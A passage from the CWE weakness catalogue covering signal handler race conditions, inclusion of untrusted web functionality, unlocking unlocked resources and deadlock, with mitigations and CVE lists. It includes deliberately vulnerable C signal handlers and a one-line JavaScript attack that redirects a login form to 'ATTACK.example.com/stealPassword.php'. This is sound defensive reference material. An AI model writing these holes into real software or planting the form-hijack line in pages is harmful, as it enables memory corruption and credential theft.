## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		364	Signal Handler Race Condition	851
ParentOf		479	Signal Handler Use of a Non-reentrant Function	1084

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		387	Signal Errors	2114

## Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<i>The most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.</i>	

## Potential Mitigations

### Phase: Implementation

### Phase: Architecture and Design

Eliminate the usage of non-reentrant functionality inside of signal handlers. This includes replacing all non-reentrant library calls with reentrant calls. Note: This will not always be possible and may require large portions of the product to be rewritten or even redesigned. Sometimes reentrant-safe library alternatives will not be available. Sometimes non-reentrant interaction between the state of the system and the signal handler will be required by design.

*Effectiveness = High*

### Phase: Implementation

Where non-reentrant functionality must be leveraged within a signal handler, be sure to block or mask signals appropriately. This includes blocking other signals within the signal handler itself that may also leverage the functionality. It also includes blocking all signals reliant upon the functionality when it is being accessed or modified by the normal behaviors of the product.

## Demonstrative Examples

### Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C

(Bad)

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

### Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C

(Bad)

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE, "%s\n", what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP, sh);
    signal(SIGTERM, sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].

### Observed Examples

Reference	Description
<b>CVE-2008-4109</b>	Signal handler uses functions that ultimately call the unsafe syslog/malloc/s*printf, leading to denial of service via multiple login attempts <a href="https://www.cve.org/CVERecord?id=CVE-2008-4109">https://www.cve.org/CVERecord?id=CVE-2008-4109</a>
<b>CVE-2006-5051</b>	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415). <a href="https://www.cve.org/CVERecord?id=CVE-2006-5051">https://www.cve.org/CVERecord?id=CVE-2006-5051</a>
<b>CVE-2001-1349</b>	unsafe calls to library functions from signal handler <a href="https://www.cve.org/CVERecord?id=CVE-2001-1349">https://www.cve.org/CVERecord?id=CVE-2001-1349</a>
<b>CVE-2004-0794</b>	SIGURG can be used to remotely interrupt signal handler; other variants exist. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0794">https://www.cve.org/CVERecord?id=CVE-2004-0794</a>
<b>CVE-2004-2259</b>	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2259">https://www.cve.org/CVERecord?id=CVE-2004-2259</a>
<b>CVE-2002-1563</b>	SIGCHLD not blocked in a daemon loop while counter is modified, causing counter to get out of sync. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1563">https://www.cve.org/CVERecord?id=CVE-2002-1563</a>

### Taxonomy Mappings



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG31-C		Do not access or modify shared objects in signal handlers

## References

[REF-360]Michal Zalewski. "Delivering Signals for Fun and Profit". < <http://lcamtuf.coredump.cx/signals.txt> >.

[REF-361]"Race Condition: Signal Handling". < [http://www.fortify.com/vulncat/en/vulncat/cpp/race\\_condition\\_signal\\_handling.html](http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html) >.

## CWE-829: Inclusion of Functionality from Untrusted Control Sphere

**Weakness ID** : 829

**Structure** : Simple

**Abstraction** : Base

### Description

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

### Extended Description





When including third-party functionality, such as a web widget, library, or other source of functionality, the product must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1383
ParentOf		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	229
ParentOf		827	Improper Control of Document Type Definition	1616
ParentOf		830	Inclusion of Web Functionality from an Untrusted Source	1627

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1383

*Relevant to the view "Architectural Concepts" (CWE-1008)*



Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	2224

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2270

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands  <i>An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.</i>	

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

### Potential Mitigations

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

**Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High*

**Phase: Architecture and Design**

**Phase: Operation**

*Strategy = Attack Surface Reduction*

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

**Phase: Architecture and Design**

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

**Phase: Operation**

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an*

application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

## Demonstrative Examples

### Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML

(Bad)

```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id="loginForm" name="loginForm" action="login.php" method="post">
      Username: <input type="text" name="username" />
      <br/>
      Password: <input type="password" name="password" />
      <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript

(Attack)

```
... Weather widget code...
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

## Observed Examples

Reference	Description
<b>CVE-2010-2076</b>	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. <a href="https://www.cve.org/CVERecord?id=CVE-2010-2076">https://www.cve.org/CVERecord?id=CVE-2010-2076</a>
<b>CVE-2004-0285</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0285">https://www.cve.org/CVERecord?id=CVE-2004-0285</a>
<b>CVE-2004-0030</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0030">https://www.cve.org/CVERecord?id=CVE-2004-0030</a>
<b>CVE-2004-0068</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0068">https://www.cve.org/CVERecord?id=CVE-2004-0068</a>
<b>CVE-2005-2157</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2157">https://www.cve.org/CVERecord?id=CVE-2005-2157</a>
<b>CVE-2005-2162</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2005-2162">https://www.cve.org/CVERecord?id=CVE-2005-2162</a>
<b>CVE-2005-2198</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2198">https://www.cve.org/CVERecord?id=CVE-2005-2198</a>
<b>CVE-2004-0128</b>	Modification of assumed-immutable variable in configuration script leads to file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0128">https://www.cve.org/CVERecord?id=CVE-2004-0128</a>
<b>CVE-2005-1864</b>	PHP file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1864">https://www.cve.org/CVERecord?id=CVE-2005-1864</a>
<b>CVE-2005-1869</b>	PHP file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1869">https://www.cve.org/CVERecord?id=CVE-2005-1869</a>
<b>CVE-2005-1870</b>	PHP file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1870">https://www.cve.org/CVERecord?id=CVE-2005-1870</a>
<b>CVE-2005-2154</b>	PHP local file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2154">https://www.cve.org/CVERecord?id=CVE-2005-2154</a>
<b>CVE-2002-1704</b>	PHP remote file include. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1704">https://www.cve.org/CVERecord?id=CVE-2002-1704</a>
<b>CVE-2002-1707</b>	PHP remote file include. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1707">https://www.cve.org/CVERecord?id=CVE-2002-1707</a>
<b>CVE-2005-1964</b>	PHP remote file include. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1964">https://www.cve.org/CVERecord?id=CVE-2005-1964</a>
<b>CVE-2005-1681</b>	PHP remote file include. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1681">https://www.cve.org/CVERecord?id=CVE-2005-1681</a>
<b>CVE-2005-2086</b>	PHP remote file include. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2086">https://www.cve.org/CVERecord?id=CVE-2005-2086</a>
<b>CVE-2004-0127</b>	Directory traversal vulnerability in PHP include statement. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0127">https://www.cve.org/CVERecord?id=CVE-2004-0127</a>
<b>CVE-2005-1971</b>	Directory traversal vulnerability in PHP include statement. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1971">https://www.cve.org/CVERecord?id=CVE-2005-1971</a>
<b>CVE-2005-3335</b>	PHP file inclusion issue, both remote and local; local include uses "." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3335">https://www.cve.org/CVERecord?id=CVE-2005-3335</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2151
MemberOf		864	2011 Top 25 - Insecure Interaction Between Components	900	2164
MemberOf		884	CWE Cross-section	884	2327
MemberOf		1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2288

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
175	Code Inclusion
201	Serialized Data External Linking
228	DTD Injection
251	Local Code Inclusion

CAPEC-ID	Attack Pattern Name
252	PHP Local File Inclusion
253	Remote Code Inclusion
263	Force Use of Corrupted Files
538	Open-Source Library Manipulation
549	Local Execution of Code
640	Inclusion of Code in Existing Process
660	Root/Jailbreak Detection Evasion via Hooking
695	Repo Jacking
698	Install Malicious Extension

## References

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

## CWE-830: Inclusion of Web Functionality from an Untrusted Source

**Weakness ID** : 830

**Structure** : Simple

**Abstraction** : Variant

### Description

The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.

### Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the product may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the product.

This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the product, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.

Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere	1621

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1016	Limit Exposure	2224

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

## Demonstrative Examples

### Example 1:

This login webpage includes a weather widget from an external website:

*Example Language: HTML*

*(Bad)*

```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id="loginForm" name="loginForm" action="login.php" method="post">
      Username: <input type="text" name="username" />
      <br/>
      Password: <input type="password" name="password" />
      <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

*Example Language: JavaScript*



*(Attack)*

```
...Weather widget code...
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2288

## References



[REF-778]Jeremiah Grossman. "Third-Party Web Widget Security FAQ". < <http://jeremiahgrossman.blogspot.com/2010/07/third-party-web-widget-security-faq.html> >.

## CWE-831: Signal Handler Function Associated with Multiple Signals

**Weakness ID** : 831

**Structure** : Simple

**Abstraction** : Base

### Description

The product defines a function that is used as a handler for more than one signal.

### Extended Description

While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.

An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.

Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		364	Signal Handler Race Condition	851

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		387	Signal Errors	2114

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Read Application Data	
Access Control	Gain Privileges or Assume Identity	
Other	Bypass Protection Mechanism Varies by Context	
<i>The most common consequence will be a corruption of the state of the product, possibly leading to a crash</i>		

Scope	Impact	Likelihood
	<i>or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.</i>	

## Demonstrative Examples

### Example 1:

This code registers the same signal handler function with two different signals.

*Example Language: C*

*(Bad)*

```
void handler (int sigNum) {
    ...
}
int main (int argc, char* argv[]) {
    signal(SIGUSR1, handler)
    signal(SIGUSR2, handler)
}
```

### Example 2:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

*Example Language: C*

*(Bad)*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.

- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

## References

[REF-360]Michal Zalewski. "Delivering Signals for Fun and Profit". < <http://lcamtuf.coredump.cx/signals.txt> >.

[REF-361]"Race Condition: Signal Handling". < [http://www.fortify.com/vulncat/en/vulncat/cpp/race\\_condition\\_signal\\_handling.html](http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html) >.

## CWE-832: Unlock of a Resource that is not Locked

**Weakness ID** : 832

**Structure** : Simple

**Abstraction** : Base

### Description

The product attempts to unlock a resource that is not locked.

### Extended Description

Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1375

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	2118

### Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	Modify Memory	
Other	Other	

Scope	Impact	Likelihood
	Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.	

### Observed Examples

Reference	Description
<b>CVE-2010-4210</b>	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. <a href="https://www.cve.org/CVERecord?id=CVE-2010-4210">https://www.cve.org/CVERecord?id=CVE-2010-4210</a>
<b>CVE-2008-4302</b>	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4302">https://www.cve.org/CVERecord?id=CVE-2008-4302</a>
<b>CVE-2009-1243</b>	OS kernel performs an unlock in some incorrect circumstances, leading to panic. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1243">https://www.cve.org/CVERecord?id=CVE-2009-1243</a>

## CWE-833: Deadlock

**Weakness ID** : 833  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1375

